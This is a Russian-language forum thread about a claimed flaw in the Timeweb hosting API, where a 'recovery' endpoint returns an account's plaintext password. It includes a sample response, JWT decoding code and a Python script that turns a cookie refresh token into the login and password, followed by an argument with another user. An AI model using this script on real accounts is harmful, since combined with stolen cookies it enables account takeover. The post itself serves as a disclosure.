Как ваши пароли могут стать общественным достоянием by timeweb

Начинающий
Статус
Оффлайн
Регистрация
24 Янв 2024
Сообщения
5
Реакции[?]
1
Поинты[?]
1K
Спасибо команде хостинга timeweb, а отдельно отделу кибер-безопасности и отделу маркетинга
Наверное, я хотел бы написать "это" в каких-то более серьезных тонах, но в последний момент я все переписал, не стал выкладывать ее в какие-то серьезные ресурсы. А просто заливаю вам

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

Предыстория:
Кто не слышал, TW является одним из самых крупных хостеров, почти 20 лет на рынке, одним словом - крутые ребята.
Так вот, сначала я расскажу в этой "статье" (больше это конечно крик души), как вообще адекватные люди хранят пароли в БД, а потом перейдем к сути.

База:
Во первых нам нужно знать то, что знает каждый пятиклассник - что такое хэшировние? чем оно отличается шифрования? и каким нужно быть человеком, чтобы хранить пароль не в хэшированом виде.

Хеширование - это процесс преобразования входных данных (любого размера) в строку фиксированной длины, которая представляет собой "отпечаток" этих данных. В контексте ИБ, особенно при хранении паролей, хеширование используется для обеспечения конфиденциальности и целостности данных.
То есть, зная только hash и алгоритм, невозможно восстановить входные данные (если не брать в расчет брутикифорсики).

Шифрование - это процесс преобразования входных данных в зашифрованный формат, который может быть прочитан только авторизованной стороной, обладающей ключом дешифрования.

Для особо одаренных
Хеширование — это односторонняя функция
Шифрование — это двусторонняя функция

Основная статья:
А теперь начинается контент, как-то раз, мы с моими другом (место для друга) шароебились по TW, в поисках приключений, ну мы их и нашли.
Не буду лить воду, говорить на какие кнопочки мы нажимали и т.д. Суть одна, после 5 минут ресерча xhr запросиков мы нашли это чудо:
Код:
https://api.timeweb.cloud/portal/v1.1/access/recovery/63904c70-ee18-41b3-b583-48ce57d36e99
{
    "expires_in":63072000,
    "generation":2,
    "is_manual":False,
    "password":"hj0n3gj7n0",
    "registrationDate":"2023-11-14 09:52:16+03:00",
    "timestamp":1699955644,
    "token":"63904c70-ee18-41b3-b583-48ce57d36e99",
    "token_app_key":"ea7fhjr26r313dj5i3o0dvgxkfdf3p3g",
    "token_max_count":10,
    "token_type":"bearer",
    "user":"bt81891",
    "user_type":"vds"
}
Ну пиздец, дамы и господа, в эфире программа кто хочет стать миллионером и вопрос такой: у нас есть key "password" со значением "hj0n3gj7n0", что это?
a) Пароль от VDS сервера
б) Хешированный пароль
в) Шифрованный пароль
г) МОЙ БЛЯТЬ ПАРОЛЬ ОТ АККАУНТА В ОТКРЫТОМ ВИДЕ

Тун-тун-тун, и правильный вариант ответа Г, поздравляю победителей
На самом деле к разбору этого "контента" я подойду ближе к концу, так что продолжаем раскуривать дальше.


Так, ну а теперь исследуем по подробнее из чего строиться этот запрос (важные детали я выделил красным)
Есть такой прикол - JWT (JSON Web Token). Этот компактный формат токена для передачи информации между двумя сторонами. В основном, JWT применяется для аутентификации и обмена информацией. Он представляет собой строку, состоящую из трех частей, разделенных точками: заголовка, полезной нагрузки и подписи.

В нашем примере:
TOKEN = 'eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtp...'

Здесь, мы имеем дело со второй частью токена - полезной нагрузкой. Эта часть содержит фактические данные (claims), закодированные в формате Base64.

Код:
jwt_claims = json.loads(base64.b64decode(unknown_TOKEN.split(".")[1] + "=="))
{
  "user": "bt81878",
  "type": "access_token",
  "portal_token": "63904c70-ee18-41b3-b583-4c8ec75d3e24",
  "iat": 1699958695,
  "exp": 1699959595
}
Теперь мы знаем, что в заголовке запроса используется какой-то access_token, а в ссылке какой-то portal_token.
Это конечно все хорошо, но теперь нужно понять, где достать access_token
В жизни, в любой непонятной ситуации я иду смотреть свои cookies, вот так мы и сделаем.


refresh_token, ну опять же, кто окончил хотябы 5 классов образования поймет, что это стандартная система аццесс и рефреш токена.
Теперь ищем ресерчим запросы и находим эндпоинт для обновления токенов, и я накидал не большой скрипт, который получит токены, вместе с нашим оригинальным паролем

Python:
import json
import requests
import base64

class TimeWeb:
    BASE_URL = "https://api.timeweb.cloud"

    def __init__(self, refresh_token=None):
        """
        :param refresh_token: Токен для обновления и получения новых токенов доступа.
        """
        self.session = requests.Session()
        self.session.verify = False

        self.refresh_token = refresh_token
        self.auth_token = None
        self.portal_token = None

    def update_token(self) -> dict:
        """
        Обновляем и получаем токены

        :return: json с токенами
        """
        response = self.session.post(
            f"{self.BASE_URL}/api/v1/auth/update-token",
            cookies={"refresh_token": self.refresh_token},
            json={"refresh_token": ""}
        )

        if response.status_code != 201:
            raise HTTPError(f"Status code {response.status_code}")
    
        tokens = response.json()["tokens"]
        self.auth_token = tokens["access_token"]
        self.refresh_token = tokens["refresh_token"]
        self.login = tokens["user"]

        jwt_claims = json.loads(base64.b64decode(self.refresh_token.split(".")[1] + "=="))
        self.portal_token = jwt_claims["portal_token"]

        return tokens

    def get_password(self) -> dict:
        """
        Получаем данные для входа через access_token

        :return: При успехе возвращаем json с ключами login и password
        """
        response = self.session.get(
            f"{self.BASE_URL}/portal/v1.1/access/recovery/{self.portal_token}",
            headers={"Authorization": f"Bearer {self.auth_token}"}
        )

        if response.status_code != 200:
            raise HTTPError(f"Status code {response.status_code}")
    
        self.password = response.json()["password"]

        return {
            "login": self.login,
            "password": self.password
        }

if __name__ == "__main__":
    refresh_token = 'eyJhbGciOiJSUzUxMiIsInR5cCI6...'
    timeweb_client = TimeWeb(refresh_token=refresh_token)
    tokens = timeweb_client.update_token()
    print(tokens.keys()) # dict_keys(['access_token', 'refresh_token', 'expires_in', 'user'])
    m_data = timeweb_client.get_password()
    print(m_data)
Вот и все, имея доступ к cookies нашего аккаунта мы можем получить логин и пароль, при том, что входить мы можем через тот же ВК OAuth, так что получается фича для тех кто забыл свой пароль)


Вывод:
Я на протяжение нескольких дней дискутировал с отделами TW, и всю суть можно описать так: это бизнес логика, это фича.

Ну и да, как же без комментария от команды TW:


на самом деле, мне немного грустно, к моему фидбеку отнеслись настолько хуево, что в ответе от компании (сделанный специально для вас) говориться о пароле от сервисом, по типу vds.. а проблема то в том, что пароль то от аккаунта.

На этом все.
Хотел бы услышать от вас фидбек. Как вам такая фича, может я просто зря придираюсь?
 
Последнее редактирование:
Легенда форума
Статус
Оффлайн
Регистрация
16 Сен 2018
Сообщения
4,004
Реакции[?]
1,947
Поинты[?]
7K
Пожалуйста, авторизуйтесь для просмотра ссылки.
г) МОЙ БЛЯТЬ ПАРОЛЬ ОТ АККАУНТА В ОТКРЫТОМ ВИДЕ
Вроде выглядит как обычное восстановление пароля, судя по кейворду recovery, как ты предлагаешь реализовать это иначе? При восстановлении пароля, тебе видимо генерирует его новым, и отдает, потом фронт рендерит его, как предлагаешь сделать иначе?
имея доступ к cookies нашего аккаунта
Как и в любом другом сервисе, токены имеют в себе основную информацию твоего профиля и имеют абсолютную власть.
на самом деле, мне немного грустно, к моему фидбеку отнеслись настолько хуево
Думаю они сделали правильно, потому что лезешь ты туда непонятно зачем, на первый взгляд выглядит все цивильно.
 
Начинающий
Статус
Оффлайн
Регистрация
24 Янв 2024
Сообщения
5
Реакции[?]
1
Поинты[?]
1K
Вроде выглядит как обычное восстановление пароля, судя по кейворду recovery, как ты предлагаешь реализовать это иначе? При восстановлении пароля, тебе видимо генерирует его новым, и отдает, потом фронт рендерит его, как предлагаешь сделать иначе?
1) Молодой, еще раз, заходим в их лк, пытаемся сбросить пароль. и чтобы это сделать мне нужно ввести текущий, тут нет подсказки 'вот твой прошлый пароль'. Делаем вывод, что только еблан будет считать это фичей.


2) И я еще раз тебе объясню, как делают нормальные homies:
если у нас данные, целостность и валидность которых мы можем подтвердить с помощью хеширования - нужно хранить их в хеше.

Вот именно из-за таких гениев как ты, когда случается пиздец, а точнее атаки на биг техе - мои пароли pisos12345 находятся в слитых бд, вместо того, чтобы та был какой-то товарищ gdfjdgxcjh,vcghcjhcv,jhc


как бы я реализовал? (ну точнее как бы реализовал любой адекватный человек):
у нас есть user_input_pass, есть функция hash()
при регистрации человек вводит user_input_pass -> hash(user_input_pass) -> на выходе у нас hash_str которая будет храниться где-то там в бд. При некст входе, восстановления аккаунта у нас идет идет проверка hash(user_input_pass_2) === hash_str
это не что-то сверхординарное - это база
 
Последнее редактирование:
Начинающий
Статус
Оффлайн
Регистрация
24 Янв 2024
Сообщения
5
Реакции[?]
1
Поинты[?]
1K
и кстати да, найдешь мне как эту же информацию (а точнее пароль) найти их фронт-еда - я удалю тему и сброшусь с крыши
к счастью для меня, этого не произойдет. ПОТОМУ-ЧТО ЭТО НЕ ФИЧА - А ПРОЕБ

я даже промолчу про какую-нибудь очень дефолтную xss и другую разновидность это хуйни)
переходишь ты такой по ссылочке, хуяк, спасибо за cookies, ну а дальше сам понимаешь что 👄
 
Последнее редактирование:
Легенда форума
Статус
Оффлайн
Регистрация
16 Сен 2018
Сообщения
4,004
Реакции[?]
1,947
Поинты[?]
7K
хранят пароли в БД
2) И я еще раз тебе объясню, как делают нормальные homies:
если у нас данные, целостность и валидность которых мы можем подтвердить с помощью хеширования - нужно хранить их в хеше.
Как ты предлагаешь реализовать ХЕШИРОВАНИЕ пароля на методе рекавери оного? Который тебе должны вернуть для авторизации
1) Молодой, еще раз, заходим в их лк, пытаемся сбросить пароль. и чтобы это сделать мне нужно ввести текущий, тут нет подсказки 'вот твой прошлый пароль'. Делаем вывод, что только еблан будет считать это фичей.
Вроде четко вижу UUID для ресета и токены, UUID используется в роли временного токена
при регистрации человек вводит user_input_pass -> hash(user_input_pass) -> на выходе у нас hash_str которая будет храниться где-то
Именно это и происходит, но не у тебя на глазах, ведь при восстановлении пароля тебе возвращают новый рандомный, и иного способа тебе его вернуть нет, ведь если тебе будут хешированный отдавать - как предлагаешь по нему авторизовываться в итоге?
На их серверах он уже хранится хешированным, и только тебе его вкидывает без хеша, сразу после генерации, а не из базы данных, что тут не так и как хотя бы в теории возможно было бы реализовать иначе?
 
Последнее редактирование:
Начинающий
Статус
Оффлайн
Регистрация
24 Янв 2024
Сообщения
5
Реакции[?]
1
Поинты[?]
1K
как говорил один современный классик: нету интереса доказывать что-то elleqt

А то что суть статьи в том, что это у них не так работает, как ты говоришь)
Ты просто даже не открыл и не посмотрел, молодец, как всегда плохо✅
На их серверах он уже хранится хешированным, и только тебе его вкидывает без хеша, сразу после генерации, а не из базы данных, что тут не так и как хотя бы в теории возможно было бы реализовать иначе?
 
Последнее редактирование:
Легенда форума
Статус
Оффлайн
Регистрация
16 Сен 2018
Сообщения
4,004
Реакции[?]
1,947
Поинты[?]
7K
как говорил один современный классик: нету интереса доказывать что-то elleqt

А то что суть статьи в том, что это у них не так работает, как ты говоришь)
Ты просто даже не открыл и не посмотрел, молодец, как всегда плохо✅
Видимо предложений как сделать рекавери пароля с автоматически генерированным паролем я не увижу?
 
Начинающий
Статус
Оффлайн
Регистрация
24 Янв 2024
Сообщения
5
Реакции[?]
1
Поинты[?]
1K
Видимо предложений как сделать рекавери пароля с автоматически генерированным паролем я не увижу?
еще раз, ты пишешь:
На их серверах он уже хранится хешированным, и только тебе его вкидывает без хеша, сразу после генерации, а не из базы данных, что тут не так и как хотя бы в теории возможно было бы реализовать иначе?

я показываю что это не так, где какие-то аргументы?
 
Сверху Снизу